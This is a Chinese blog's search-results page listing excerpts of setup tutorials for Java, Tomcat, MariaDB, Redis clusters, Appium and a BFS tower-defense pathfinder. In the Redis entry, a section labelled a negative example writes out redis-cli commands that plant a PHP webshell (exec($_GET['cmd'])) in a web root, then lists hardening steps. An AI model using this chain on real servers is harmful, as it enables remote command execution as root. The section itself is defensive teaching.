搜索[搭建]结果-低调大师优秀个人博客

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搭建基于C#和 Appium 的 Android自动测试环境

关于Appium环境搭建的例子网上比较多，不过都是关于Python,Java的，使用C#客户端的资料比较少，公司现有的测试系统是基于C#构建的，因为要和现有系统集成，所以选择的C#语言作为客户端，下载

2018-11-12

新手向: ECS搭建Java运行平台, 安装MySQL 以及Tomcat运行

需要准备一台ECS主机, 立即购买, 阿里云服务器293/1年或者个人阿里云推广返还, 购买最多折上9折系统推荐CentOS7(以下使用CentOS7作为例子) 准备好Tomcat运行包, 这里选用Apache Tomcat 8.0.53 准备好Java运行环境这里采用Oracle Java Server JRE 1.8.0_181 可以点击此处进入官网下载历史版本的Java, 需要Oracle账号, 注册一个即可准备阶段准备好的服务器, 装了CentOS7.4的系统看到IP是47.104.66.241, 直接使用SSH连接过去, 这里SSH可以使用 putty Download PuTTY 在HostName中填写IP地址 47.104.66.241, 点击Open, 应该会弹出框点击是后, 输入用户名密码, 这里使用root可以看到连接成功了如果看到没有连接成功, 检查下阿里云的安全组然后点击配置规则, 并检查是否有22/22的端口如果没有, 按如图添加一条22的端口, 表示外网可以访问到这个端口如果还是没有, 检查下服务器防火墙是否被打开如果还是没有, 可以发工单求助专业的工作人员. 安装MySQL(该步骤可以跳过) 1. 准备这是一台全新的服务器, 首先安装 MySQL, 在CentOS中, 可以使用MariaDB来代替MySQL, 安装很简单, 只需控制台输入 yum install mariadb mariadb-server -y 若干秒后看到 .. .. Dependency Installed: libaio.x86_64 0:0.3.109-13.el7 perl-Compress-Raw-Bzip2.x86_64 0:2.061-3.el7 perl-Compress-Raw-Zlib.x86_64 1:2.061-4.el7 perl-DBD-MySQL.x86_64 0:4.023-6.el7 perl-DBI.x86_64 0:1.627-4.el7 perl-Data-Dumper.x86_64 0:2.145-3.el7 perl-IO-Compress.noarch 0:2.061-2.el7 perl-Net-Daemon.noarch 0:0.48-5.el7 perl-PlRPC.noarch 0:0.2020-14.el7 Dependency Updated: mariadb-libs.x86_64 1:5.5.60-1.el7_5 Complete! 即安装完成 2. 运行MariaDB systemctl start mariadb 没有任何返回, 就表示完成了, 接下来就是设置它开机自启动 systemctl enable mariadb 返回 Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service. 表示加入开机启动完成 3. 配置MariaDB 刚安装好的MariaDB需要进行简单的配置命令行输入 mysql_secure_installation 按图中的提示进行操作时候登陆mysql, 发现已经安装好了但是此时还不够, 因为默认安装的mariadb, 在存储中文时会报错, 此时要进行配置的更改修改server.cnf配置文件, 增加连接相关属性 vi /etc/my.cnf.d/server.cnf 光标移动到[mysqld]下方, 按下A键此时左下角出现 -- INSERT --, 表示可以进行编辑状态接着直接键盘输入以下配置 character-set-client-handshake = FALSE character-set-server = utf8mb4 collation-server = utf8mb4_unicode_ci init_connect='SET NAMES utf8mb4' lower_case_table_names = 1 # 这个可选, 表示不区分大小写然后按下Esc键, 此时左下角 -- INSERT --消失接着按下:wq, 直接按就行, 左下角出现对应字符回车, 保存然后修改client.conf文件 vi /etc/my.cnf.d/client.cnf 在[client]中加入如下的话 default-character-set = utf8mb4 :wq保存退出最后, 重启MariaDB systemctl restart mariadb 重启没有任何提示就结束表示成功再次进入MySQL, 发现字符集已经完成更改安装Java 从官网下载Java, 选择这个版本, 下载Tomcat 若干秒后, 下载完毕使用ssh工具上传到云服务器, 这里ssh工具使用SFTP, 添加后双击进入, 并选择接受并保存将刚刚下的2个文件直接拖进来即可剩下, 回到服务器上, 由于刚刚上传的文件在 /root下, 进入/root cd /root ls一下发现文件已经上来了解压这2个文件, 执行后当前目录会多出2个文件夹 tar -zxvf jre-8u181-linux-x64.tar.gz && tar -zxvf apache-tomcat-8.0.53.tar.gz 我个人习惯将java和tomcat放在/usr/local中, 当然也可以直接放在/root中, 如果移动目录使用 mv 老文件(夹)1 [老文件(夹)2] 新文件(夹) 配置Java环境配置环境变量 vi /etc/profile 移动到底部, 添加如下字段, JAVA_HOME的目录就是刚刚java的目录 export JAVA_HOME=/usr/local/jre1.8.0_181 export PATH=$JAVA_HOME/bin:$PATH export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar 生效配置 source /etc/profile 检验配置输入java -version,如图所示表示java安装成功运行Tomcat 刚刚Tomcat已经移动到了/usr/local中, 启动非常简单, 直接 cd /usr/local/apache-tomcat-8.0.53/ bin/startup.sh 如图所示表示启动成功访问这个Tomcat, 因为Tomcat使用的是8080端口, 但是阿里云安全组没有开放这个8080端口, 因此访问是无法访问的进入刚刚的安全组, 添加一条8080的端口再次访问结束了, 如果希望将Tomcat加入到开机启动, 可以在 /etc/rc.local中添加如下 source /etc/profile /usr/local/apache-tomcat-8.0.53/bin/startup.sh 然后运行下 chmod +x /etc/rc.d/rc.local 小插曲如果遇到Tomcat启动的时候特别慢, 试着做如下修改参考Tomcat 8熵池阻塞变慢详解 vi /usr/local/jre1.8.0_181/lib/security/java.security 找到如下的行数, 可以在vi中通过按esc, 然后按 / 再输入random搜索这一行继续按n搜索下一个, 直到搜索到如下图的字样时结束修改成如下最后, 感谢您的浏览.

2018-11-01

python+flask搭建CNN在线识别手写中文网站

使用python+flask搭建的一个网站，然后从网页的写字板上获取鼠标手写的汉字经过转码后传回后台，并经过图片裁剪处理之后传入CNN手写中文识别的模型中进行识别，最后通过PIL将识别结果生成图片，最后异步回传给

2018-10-14

我是Java工程师，我的Mac环境这样搭建

我是Java工程师，我的Mac环境这样搭建系统设置将功能键(F1-F12)设置为标准的功能键 MacBook键盘最上面一排的功能键(F1-F12)默认是系统亮度和声音之类的快捷设置，当MacBook

2018-09-20

手把手教你从零开始搭建SpringBoot后端项目框架

搭建框架新建项目打开IDE，点击File -> New Project。在左侧的列表中的选择Maven项目，点击Next。

2018-09-17

使用docker和nginx搭建一个下载服务器

,要求下载服务器有下面几个需求支持断点续传支持密码访问支持控制传输速度其实nginx默认就是支持断点续传的,我们要配置的就是密码访问和控制传输速度而已,为了简单,我直接使用docker做,这样搭建环境几乎就快乐很多

2018-08-28

ELK+logback+kafka+nginx 搭建分布式日志分析平台

ELK+logback+kafka+nginx 搭建分布式日志分析平台 ELK（Elasticsearch , Logstash, Kibana）是一套开源的日志收集、存储和分析软件组合。

2018-08-12

docker快速搭建几个常用的第三方服务

本次和大家分享的内容是使用docker快速搭建工作中常用的第三方的服务，对于有一些互联网背景的公司来说，以下几个服务都是很需要的：redis，rabbit，elasticsearch；本篇涉及内容深度只针对于简单的测试环境和程序员自身学习

2018-07-27

三十分钟快速搭建serverless网盘服务

本节，将带领大家利用函数计算，快速搭建一个功能完整的网盘服务。

2018-07-16

dotnet core webapi +vue 搭建前后端完全分离web架构(一)

DateTime.Now.ToString() }; } } } l 编译与运行 webapi dotnet run 至此服务端的所有工作都已完成，测试客户端目录结构搭建

2018-07-15

搭建Hadoop的HA高可用架构（超详细步骤+已验证）

在bigdata13上手动启动ResourceManager作为Yarn的备用主节点： yarn-daemon.sh start resourcemanager 至此，Hadoop集群的HA架构就已经搭建成功

2018-07-04

如何快速搭建一个简单的塔防小游戏

C语言是所有编程语言的基础，当我们对C语言有足够深入的理解后，就能轻松入门其他语言，比如现在流行的Python。现在，我将带领大家看一个基于C语言经典算法，使用Python编写的塔防小游戏。在塔防游戏中，有许多敌人向着同一目标前进。在很多塔防游戏当中，有一条或几条事先预定好的路径。在一些中，比如经典的《Desktop Tower Defense》，你可以将塔放在任何位置，它们充当障碍影响敌人选择的路径。试一试，点击地图来移动墙壁：我们如何来实现这种效果？像A*这样的图搜索算法经常被用来寻找两点之间的最短路径。你可以用这个来为每一个敌人找到前往目标的路径。在这种类型的游戏当中，我们有很多不同的图搜索算法来。这是一些经典方法单源，单目标: 贪心搜索算法 A*算法 – 在游戏当中常用单源多目标或多源单目标广度优先算法-无加权边 Dijkstra算法-有加权边 Bellman-Ford算法-支持负权重多源多目标 Floyd-Warshall算法 Johnson’s算法像《Desktop Tower Defense》这样的游戏会有很多个敌人（源）和一个共同的目的地。这使得它被归为多源单目标一类。我们可以执行一个算法，一次算出所有敌人的路径，而不是为每个敌人执行一次A*算法。更好的是，我们可以计算出每个位置的最短路径，所以当敌人挤在一块或者新敌人被创建时，他们的路径已经被计算好了。我们先来看看有时也被称作“洪水填充法”（FIFO变种）的广度优先算法。虽然图搜索算法是适用于任何由节点和边构成的图，但是我还是使用方形网格来表示这些例子。网格是图的一个特例。每个网格瓦片是图节点，网格瓷砖之间的边界是图的边。我会在另一篇文章当中探讨非网格图。广度优先搜索始于一个节点，并访问邻居节点。关键的概念是“边界”，在已探索和未开发的区域之间的边界。边界从原始节点向外扩展，直到探索了整张图。边界队列是一个图节点(网格瓦片)是否需要被分析的列表/数组。它最开始仅仅包含一个元素，起始节点。每个节点上的访问标志追踪我们是否采访过该节点。开始的时候除了起始节点都标志为FALSE。使用滑块来查看边界是如何扩展的：这个算法是如何工作的？在每一步，获得一个元素的边界并把它命名为current。然后寻找current的每个邻居，next。如果他们还没有被访问过的话，将他们都添加到边界队列里面。下面是一些python代码： Python frontier = Queue() frontier.put(start) visited = {} visited[start] = True while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in visited: frontier.put(next) visited[next] = True frontier = Queue() frontier.put(start) visited = {} visited[start] = True while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in visited: frontier.put(next) visited[next] = True 现在已经看见代码了，试着步进上面的动画。注意边界队列，关于current的代码，还有next节点的集合。在每一步，有一个边界元素成为current节点，它的邻居节点会被标注，并且未被拜访过的邻居节点会被添加到边界队列。有一些邻居节点可能已经被访问过，他们就不需要被添加到边界队列里面了。这是一个相对简单的算法，并且对于包括AI在内的很多事情都是有用的。我有三种主要使用它的办法： 1.标识所有可达的点。这在你的图不是完全连接的，并且想知道哪些点是可达的时候是很有用的。这就是我再上面用visited这部分所做的。 2.寻找从一个点到所有其他点或者所有点到一个点的路径。我在文章开始部分的动画demo里面使用了它。 3.测量从一个点到所有其他点的距离。这在想知道一个移动中的怪物的距离时是很有用的。如果你正在生成路径，你可能会想知道从每个点移动的方向。当你访问一个邻居节点的时候，要记得你是从哪个节点过来的。让我们把visited重命名为came_from并且用它来保存之前位置的轨迹： Python frontier = Queue() frontier.put(start) came_from = {} came_from[start] = None while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in came_from: frontier.put(next) came_from[next] = current frontier = Queue() frontier.put(start) came_from = {} came_from[start] = None while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in came_from: frontier.put(next) came_from[next] = current 我们来看看它看起来是怎样的：如果你需要距离，你可以在起始节点讲一个计数器设置为0，并在每次访问邻居节点的时候将它加一。让我们把visitd重命名为distance，并且用它来存储一个计数器： Python frontier = Queue() frontier.put(start) distance = {} distance[start] = 0 while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in distance: frontier.put(next) distance[next] = 1 + distance[current] frontier = Queue() frontier.put(start) distance = {} distance[start] = 0 while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in distance: frontier.put(next) distance[next] = 1 + distance[current] 我们来看看它看起来是怎样的：如果你想同时计算路径和距离，你可以使用两个变量。这就是广度优先检索算法。对于塔防风格的游戏，我用它来计算所有位置到一个指定位置的路径，而不是重复使用A*算法为每个敌人分开计算路径。我用它来寻找一个怪物指定行动距离内所有的位置。我也是用它来进行程序化的地图生成。Minecraft使用它来进行可见性提出。由此可见这是一个不错的算法。下一步我有python和c++代码的实现。如果你想要找到从一个点出发而不是到达一个点的路径，只需要在检索路径的时候翻转came_from指针。如果你想要知道一些点而不是一个点的路径，你可以在图的边缘为你的每个目标点添加一个额外的点。额外的点不会出现在网格中，但是它会表示在图中的目标位置。提前退出：如果你是在寻找一个到达某一点或从某一点出发，。我在A*算法的文章当中描述了这种情况。加权边：如果你需要不同的移动成本，广度优先搜索可以替换为为Dijkstra算法。我在A*算法的文章当中描述了这种情况。启发：如果你需要添加一种指导寻找目标的方法，广度优先算法可以替换为最佳优先算法。我在A*算法的文章当中描述了这种情况。如果你从广度优先算法，并且加上了提前退出，加权边和启发，你会得到A*。如你所想，我在A*算法的文章当中描述了这种情况。满满的自豪感，真的很想知道大家的想法，还请持续关注更新，更多干货和资料请直接联系我，也可以加群710520381，邀请码：柳猫，欢迎大家共同讨论

2018-06-14

CentOS7.X安装Redis-4.0.8以及Redis集群搭建

安装redis 安装前的准备 yum install \ vim \ wget \ make \ gcc \ gcc-c++ \ automake \ autoconf \ -y \ 下载解压并安装 cd /root wget http://download.redis.io/releases/redis-4.0.8.tar.gz tar -zxzf redis-4.0.8.tar.gz cd redis-4.0.8 make PREFIX=/usr/local/redis/ install 创建配置中要求的数据文件存储位置 mkdir /data mkdir /data/redis mkdir /usr/local/redis/log 添加修改配置文件参考配置 cp ./redis.conf /usr/local/redis vim /usr/local/redis/redis.conf # IP绑定 bind 127.0.0.1 192.168.0.111 # 保护模式（开启条件为各redis之间可以互相通信,做集群不可开启） protected-mode yes # 访问端口 port 6379 # 连接超时，单位S，0为不启用超时 timeout 0 # 以守护进程运行 daemonize yes # 数据文件路径 dir /data/redis # 进程ID文件的路径 pidfile /usr/local/redis/log/redis.pid # 日志文件路径 logfile /usr/local/redis/log/redis.log # 开启键过期删除通知 notify-keyspace-events Ex ESC :wq # 以下安全配置选项仅作参考 # 禁用部分危险命令 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" # 添加访问密码 requirepass ******** # IP绑定本机 bind 127.0.0.1 性能优化 # 编辑/etc/rc.local vim /etc/rc.local echo never > /sys/kernel/mm/transparent_hugepage/enabled ESC :wq # 添加/etc/rc.local执行权限 chmod +x /etc/rc.d/rc.local # 编辑/etc/sysctl.conf vim /etc/sysctl.conf vm.overcommit_memory = 1 net.core.somaxconn = 1024 ESC :wq # 立即解决 echo never > /sys/kernel/mm/transparent_hugepage/enabled echo 1024 > /proc/sys/net/core/somaxconn sysctl vm.overcommit_memory=1 sysctl -p 修改目录归属 useradd -s /sbin/nologin -M redis chown -R redis:redis /data/redis chown -R redis:redis /usr/local/redis 启动redis并设置开机启动 # 进入单元文件目录 cd /etc/systemd/system # 创建redis单元文件,格式为: [单元文件名].[单元文件类型] vim redis.service [Unit] Description=Start redis on boot. After=default.target network.target [Service] User=redis Group=redis Type=forking PIDFile=/usr/local/redis/log/redis.pid ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s QUIT $MAINPID PrivateTmp=false Restart=always [Install] WantedBy=multi-user.target ESC :wq # 修改文件权限为只有root用户可以编辑该文件 chown -R root:root /etc/systemd/system/redis.service chmod -R 644 /etc/systemd/system/redis.service # 更新systemd systemctl daemon-reload systemctl enable redis systemctl start redis 存入数据 /usr/local/redis/bin/redis-cli -h 127.0.0.1 set num 123 save get num quit 批量删除匹配规则数据 redis-cli keys [匹配规则]|xargs redis-cli del Redis宕机 aof文件损坏启动失败拷贝aof文件修复坏损的aof文件 redis-check-aof --fix [aof文件名] 重新启动Redis Redis漏洞webshell的利用参考链接 Redis该漏洞用到的原理如下 redis原生支持通过'redis-cli>config set'在不重启redis服务的情况下,动态修改配置dir、dbfilename; redis的配置中如果指定'dir /www/'和'dbfilename test.php',则当执行save命令时,会在/www/目录下生成一个数据存储文件test.php,虽然该文件是一个二进制文件，但其内容中包含保存的数据的值,如果/www/目录为web目录,则/www/test.php则会被人利用,成为入侵你服务器的入口; 漏洞举例(这是一个负面教材) redis以超级管理员用户root运行 Nginx以超级管理员用户root启动,子进程也以root运行 web服务器为nginx,并做如下配置: server { listen x; server_name xxx.xxx.com; root /www; location / { index index.php index.html index.htm; } location ~ \.php$ { fastcgi_index index.php; fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 通过redis-cli执行了以下命令 config set dir /www/ config set dbfilename test.php set test "<?php exec($_GET['cmd']); ?>" save 这时候可怕的事情出现了在/www/目录下,存在test.php文件,它可以通过http://xxx.xxx.com/test.php访问到如果现在访问http://xxx.xxx.com/test.php?cmd=xxx,那么xxx就会被以root用户执行(xxx为任意linux命令) Redis漏洞webshell的防范不要线上使用redis的web管理工具 redis以低权限用户运行(如rediser等让人想不到的用户名) redis仅允许通过本机和内网访问(bind 127.0.0.1 192.168.0.12/24) redis禁用config命令(在配置文件中可以禁用rename-command CONFIG "") web服务子进程以低权限用户运行(因为webshell的运行用户为web服务的子进程) redis集群(cluster方式) 集群前的配置(单机两服务测试6379,6380) # 内网IP:192.168.0.100 修改redis.conf vim /usr/local/redis/redis.conf # 启用cluster cluster-enabled yes # 调用cluster配置文件 cluster-config-file nodes-6379.conf # 集群超时 cluster-node-timeout 15000 # 关闭宕机全停 cluster-require-full-coverage no # 集群从属元素个数 cluster-slave-validity-factor 10 # 从机数最低迁移值(master至少有两台slave，才能做slave迁移) cluster-migration-barrier 1 ESC :wq 配置文件添加 yum install ruby gem install redis cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf mkdir /usr/local/redis/data/6379 mkdir /usr/local/redis/data/6380 修改redis-6379.conf vim /usr/local/redis/redis-6379.conf unixsocket /usr/local/redis/data/6379/redis.sock pidfile /usr/local/redis/log/redis_6379.pid logfile /usr/local/redis/log/redis_6379.log dir /usr/local/redis/data/6379/ bind 192.168.0.100 port 6379 ESC :wq 修改redis-6380.conf vim /usr/local/redis/redis-6380.conf unixsocket /usr/local/redis/data/6380/redis.sock pidfile /usr/local/redis/log/redis_6380.pid logfile "/usr/local/redis/log/redis_6380.log" dir /usr/local/redis/data/6380/ bind 192.168.0.100 port 6380 ESC :wq 修改开机启动 vim /etc/rc.local /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf ESC :wq 创建cluster cd /root/redis/src/ # 查看帮助 ./redis-trib.rb help # 添加绑定 ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380 集群测试 /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c 正常关闭(不要强制关闭) /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown 领支付宝红包支持作者

2018-06-10

阿里云ECS服务器使用笔记（一）搭建Django

2.Django搭建尽量用virtualenv，这样在里面随便折腾，搞错了，直接删掉重新来就可以了。

2018-06-08

Nginx 搭建FTP图片服务器(学习笔记二十四)

二、Nginx服务器搭建 1.安装Nginx 要求安装vmware虚拟机。 Linux：CentOS6.4（32） Nginx：1.8.0 Vsftpd:需要在线安装。

2018-05-17

最详细的JavaWeb开发基础之java环境搭建(Mac版)

阅读文本大概需要 5 分钟。我之前分享过在 Windows 下面配置 Java 环境，这次给大家带来的是 Mac 下面安装配置 Java 环境。首先 Mac 系统已经带有默认的 Java，但是由于使用不方便，这里教大家一个比较方便的方法，并且管理方便。也方便我们后面配置 IDEA, Eclipse。下面开始我们 Java 环境的安装配置。 1、打开 Java 官网 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 在这里你可以选择你要下载的 java 版本，这里我们以 java1.8 为例来讲解。在下载之前，我们需要先接受协议才能够去下载。这里说明下，我为什么去选择 linux 版本的 JDK 去下载，而不是 Mac 版本的 JDK，这里主要是因为如果我们下载了 Mac 版本的 JDK 在安装的时候，我们是无法去选择安装目录的，也就是它默认安装之后，你还是要在接着去 Google Mac 下 JDK 默认的安装目录，这样岂不是多次一举。其次，因为 Mac 就是原生的 Unix 系统呀，更可以去选择对应的 Linux 版本，而且这样更便于我们去管理。通过上面的链接下载好之后，我们就可以在本地看到这个文件。如果觉得上面的下载不够高大上，我们可以直接在命令中使用命令去下载，我们可以使用 wget 命令进行下载 JDK，下载地址如下： http://download.oracle.com/otn-pub/java/jdk/8u172-b11/a58eab1ec242421181065cdc37240b08/jdk-8u172-linux-x64.tar.gz 在命令行中执行如下，这样下载之后的结果跟我们上面都过浏览器下载是一样，喜欢哪一种就可以用哪一种方式去下载。 2、解压下载好的 JDK 文件下载的文件是 tar.gz 格式的文件，这里我们可以通过 tar 命令进行解压，这个格式文件其实相当于 Windows 下面的 rar 文件，tar 可以对文件进行解压或者压缩，下载我们使用该命令进行解压下载好的 JDK 文件。这里我们先将下载好的 JDK 文件移动到我们的工具目录，方便我们下次使用和查找。上图我已经将 JDK 移动到 Tools 目录下面，所以这里就不需要在重新移动了，如果我们需要移动文件的话，可以通过 mv 命令进行移动。对文件进行解压。解压完成之后，我们会得到如下的一个文件夹，我们可以进入该文件夹并查看下文件夹下的内容。到这里我们的 java 安装算是完成一半了，其实说安装根本谈不上，我们之不过是下载了文件，并做了解压的工作。还剩下环境变量的设置，说到环境变量的设置，想必很多会认为一定很复杂，其实这是一种自我限制的思想，在 Mac 或者 Linux 系统下面进行环境变量设置其实很简单，下面你就会见到。 3、查看 JDK 的目录并配置环境变量配置 java 环境变量之前，我们一定要知道我们的 java 根目录在哪里，在这里我们可以通过 pwd 命令，来查看我们当前 java 根目录是在那个目录下面。这里我们就看到了我们的 java 所在的根目录了，这是我们将这个路径进行选择，其实相当于复制。下面就到我们最后的一步了进行配置环境变量，这里两行我们就可以搞定。相比于 Windows 下面要简单的多了。我们先回到当前用户的家目录，使用 cd 即可。然后编辑我们的 .bashrc 文件。加入以下两行即可。至此，我们的 java 配置已经完成，接下来就是我们验证的时刻，在验证之前，我们还需要在执行一个命令，执行这个命令的原因是因为我们在刚才的文件中添加了两行命令，系统是否会自动生效的呢，答案是否定，所以这里我们需要手动去使我们刚才加入的那两行命令生效。执行上面的命令之后，刚才加入的命令就生效了。下面我们来验证 java 是否配置成功，验证是否成功跟我们前面在 windows 下面的验证是一样的，输入 java -version 即可进行验证。这样我们就完成了 java 的配置，接下来我们就可以在工具里面去配置使用了。如果你有任何问题，都可以通过下面的方式，联系我。

2018-05-12

最详细的JavaWeb开发基础之java环境搭建(Windows版)

阅读文本大概需要 3 分钟。首先欢迎大家来学习JavaWeb，在这里会给你比较详细的教程，从最基本的开始，循序渐进的深入。会让初学者的你少踩很多坑（大实话），如果你已经掌握了JavaWeb开发的基础部分，请耐心等待后续的进阶阶段。下面开始我们Java环境的安装配置。 1、打开Java官网 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html，在这里你可以选择你要下载的java版本，这里我们以java1.8为例来讲解。在下载之前，我们需要先接受协议才能够去下载。接受协议之后，我们可以根据自己电脑是32位系统还是64位系统选择对应的版本去下载。在电脑属性里面可以查看自己电脑是多少位。这里我们选择64位的java版本去下载，也就是jdk-8u171-windows-x64.exe。下载完成之后会是exe文件。我们双击进行安装，双击之后，我们会进入一个安装向导点击下一步这里显示安装的功能和安装目录，需要安装的功能我们不需要改变，使用默认就行了。但是这里的安装路径，建议大家去修改，因为默认是安装在C盘下面，并且安装的目录名称还包含空格。更重要的是，作为一个具有良好习惯的开发人员，我们经常需要很多开发软件，所以这时我们应该自己新建一个专门放开发工具的目录，以便我们自己很好的去管理。在这里我将安装目录放到我自己的工具文件夹下面，也就是D:\Tools\jdk1.8.0_171。接着我们点击下一步，进行安装，安装完成之后，可以看到如下的目录结构。到这里我们的java安装就已经完成了，但是如果我们在命令行中去验证的话，会不成功。虽然目前的java安装会自动加入环境变量，但是在我们改变目录之后是不会自动加入的，所以这时需要我们自己手动去加。我们重新打开刚才查看系统位数的那个窗口。点击高级系统设置点击环境变量点击新建一个系统变量接下来，我们在path里面加入刚才新建的系统变量，这是因为系统在命令行中执行命令的时候是去path里面去找，所以我们将java可执行的bin目录加入到path。要注意在已有的里面要加上；表示另一个。接着一直点击确定，直到退出环境变量窗口。到这里我们就完成了java环境的配置，接下来我们在命令行中进行验证。我们在键盘上windows键(就是4个方块的那个键)+R，或者点击左下角的程序按钮，找到运行,输入cmd，点击确定。输入java验证的命令，回车我们会得到如下结果。到此，我们的java环境，就已经安装配置完成，后面我们就可以进行开发。祝贺你已经完成了第一步工作，可以给自己鼓励以下。如果你有任何问题，都可以通过下面的方式，联系我。

2018-05-11

智能媒体管理产品文档转换/预览功能介绍(4)--快速搭建

一、导语智能媒体管理提供了 Cloud Native 架构的文档转换/预览服务，本文介绍快速搭建的示例，让您用 DIY 的体验方式实现文档预览功能。

2018-05-02

一文轻松搞懂redis集群原理及搭建与使用

今天早上由于zookeeper和redis集群不在同一虚拟机导致出了点很小错误（人为），所以这里总结一下redis集群的搭建以便日后所需同时也希望能对你有所帮助。

2018-04-16

在Android手机上搭建一个http服务器

看到标题是不是有点懵，在Android手机上搭建一个http服务器？？？你TM在逗我没错，我们就是要在Android手机上搭建一个http服务器。

2018-04-07

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Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长，特征是大鼻子、头戴帽子、身穿背带裤，还留着胡子。与他的双胞胎兄弟路易基一起，长年担任任天堂的招牌角色。

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称，一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Rocky Linux

Rocky Linux（中文名：洛基）是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版，作为CentOS稳定版停止维护后与RHEL（Red Hat Enterprise Linux）完全兼容的开源替代方案，由社区拥有并管理，支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性，采用模块化包装和SELinux安全架构，默认包含GNOME桌面环境及XFS文件系统，支持十年生命周期更新。

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能，例如代码缩略图，Python的插件，代码段等。还可自定义键绑定，菜单和工具栏。Sublime Text 的主要功能包括：拼写检查，书签，完整的 Python API ， Goto 功能，即时项目切换，多选择，多窗口等等。Sublime Text 是一个跨平台的编辑器，同时支持Windows、Linux、Mac OS X等操作系统。